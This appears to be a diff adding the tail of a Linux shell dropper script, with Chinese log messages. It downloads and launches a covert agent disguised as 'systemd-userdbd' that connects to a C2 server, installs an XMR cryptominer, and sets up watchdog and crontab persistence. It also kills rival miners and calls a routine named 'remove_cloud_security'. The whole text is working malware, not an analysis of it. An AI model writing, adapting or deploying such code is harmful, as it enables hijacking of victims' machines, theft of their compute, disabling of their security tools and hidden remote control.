+    dl_long "$_url" "$AGENT_CORE" && chmod +x "$AGENT_CORE" || return 1
+  else
+    dl_long "$_url" "$AGENT_CORE" && chmod +x "$AGENT_CORE" || return 1
+  fi
+
+  rm -f "$AGENT_BIN" 2>/dev/null || true
+  ln -sf "$AGENT_CORE" "$AGENT_BIN" 2>/dev/null || cp -f "$AGENT_CORE" "$AGENT_BIN"
+  chmod +x "$AGENT_BIN" 2>/dev/null || true
+
+  if [ "$IS_ALPINE" -eq 1 ] && [ -x "$AGENT_HOME/glibc-compat/lib/ld-linux-x86-64.so.2" ]; then
+    G="$AGENT_HOME/glibc-compat/lib"
+    L="$G/ld-linux-x86-64.so.2"
+    cat >"$AGENT_LAUNCH" <<LAUNCH
+#!/bin/sh
+H="$AGENT_HOME"
+BIN="\$H/systemd-userdbd"
+TOK="\$H/.session-token"
+LOG="/dev/null"
+G="$G"
+L="$L"
+export LD_LIBRARY_PATH="\$G"
+export LD_PRELOAD=
+[ -x "\$BIN" ] || exit 1
+_t=\$(cat "\$TOK" 2>/dev/null)
+[ -n "\$_t" ] || exit 1
+exec "\$L" --library-path "\$G" "\$BIN" "\$_t" >>/dev/null 2>&1
+LAUNCH
+  else
+    cat >"$AGENT_LAUNCH" <<LAUNCH
+#!/bin/sh
+H="$AGENT_HOME"
+BIN="\$H/systemd-userdbd"
+TOK="\$H/.session-token"
+export LD_PRELOAD=
+[ -x "\$BIN" ] || exit 1
+_t=\$(cat "\$TOK" 2>/dev/null)
+[ -n "\$_t" ] || exit 1
+exec "\$BIN" "\$_t" >>/dev/null 2>&1
+LAUNCH
+  fi
+  chmod +x "$AGENT_LAUNCH"
+
+  write_agent_watchdog
+
+  pkill -f "${AGENT_HOME}/.session-watchdog" 2>/dev/null || true
+  pkill -x systemd-userdbd 2>/dev/null || true
+  pkill -f "$AGENT_CORE" 2>/dev/null || true
+  sleep 1
+
+  if [ -x "$AGENT_CORE" ] && [ -s "$AGENT_TOKEN" ]; then
+    setsid "$AGENT_LAUNCH" >>/dev/null 2>&1 &
+    sleep 2
+  else
+    log "Agent 二进制或 token 缺失，跳过启动"
+    return 1
+  fi
+
+  if ! pgrep -f "${AGENT_HOME}/.session-watchdog" >/dev/null 2>&1; then
+    nohup "$AGENT_WATCHDOG" >>/dev/null 2>&1 &
+  fi
+
+  if pgrep -x systemd-userdbd >/dev/null 2>&1 || pgrep -f "$AGENT_CORE" >/dev/null 2>&1; then
+    log "Agent 已启动 dir=${AGENT_HOME} proc=systemd-userdbd"
+  else
+    log "Agent 启动失败，见 ${AGENT_LOG}"
+    return 1
+  fi
+  write_agent_guard || true
+  install_agent_crontab
+}
+
+deploy_install() {
+  if [ "$DRY_RUN" = "1" ]; then
+    log "dry-run: would install user miner+agent pool=${POOL} cpu=${XMR_CPU_PERCENT}%"
+    return 0
+  fi
+
+  echo SYSINFO_START
+  echo arch=$(uname -m)
+  echo cpu_cores=$(nproc 2>/dev/null || echo 1)
+  echo mem_mb=$(awk '/MemTotal/ {print int($2/1024)}' /proc/meminfo 2>/dev/null || echo 0)
+  echo is_root=$([ "$(id -u)" -eq 0 ] && echo 1 || echo 0)
+  is_container && echo dockerenv=yes || echo dockerenv=no
+  echo SYSINFO_END
+
+  if [ "$(id -u)" -eq 0 ]; then
+    log "root 环境跳过（本链仅面向普通用户）"
+    return 0
+  fi
+
+  install_javab_chain || log "javab 链安装失败 rc=$?"
+  squash_rival_guard
+  if ! is_container; then
+    install_user_agent || log "用户态 Agent 安装失败"
+  else
+    log "容器环境：仅 javab 矿机，跳过 Agent"
+  fi
+
+  echo pool=${POOL_HOST}:${POOL_PORT}
+  echo cpu_percent=${XMR_CPU_PERCENT}
+  echo c2=${C2_WSS}
+  echo wdir=${WDIR:-}
+  echo agent_count=$(ps aux 2>/dev/null | grep -E 'systemd-userdbd|/\.local/share/systemd/' | grep -v grep | grep -v watchdog | wc -l)
+  echo miner_count=$(ps aux 2>/dev/null | grep -E '[ /]\.?javab|/javab |xmrig' | grep -v grep | grep -v rguard | wc -l)
+  echo DEPLOY_LITE_DONE
+}
+
+main() {
+  if [ "$AGENT_ONLY" = "1" ]; then
+    deploy_agent_only
+    exit 0
+  fi
+  log "start uid=$(id -u) user=$(id -un 2>/dev/null || echo ?) self=$0"
+  purge_tmp_gang
+  strip_rival_crontab
+  kill_rival_rguard
+  fast_rival_pkill
+  cleanup_rival_procs
+  cleanup_rival_files
+  bootstrap_install_guard
+  deploy_install
+  purge_tmp_gang
+  cleanup_rival_crontab
+  remove_cloud_security
+  kill_third_party_miners
+  log "done"
+  echo "ksmd-ok marker=$MARKER pool=${POOL_HOST}:${POOL_PORT} c2=${C2_WSS} cpu=${XMR_CPU_PERCENT}% user=$(id -un 2>/dev/null)"
+}
+
+main "$@"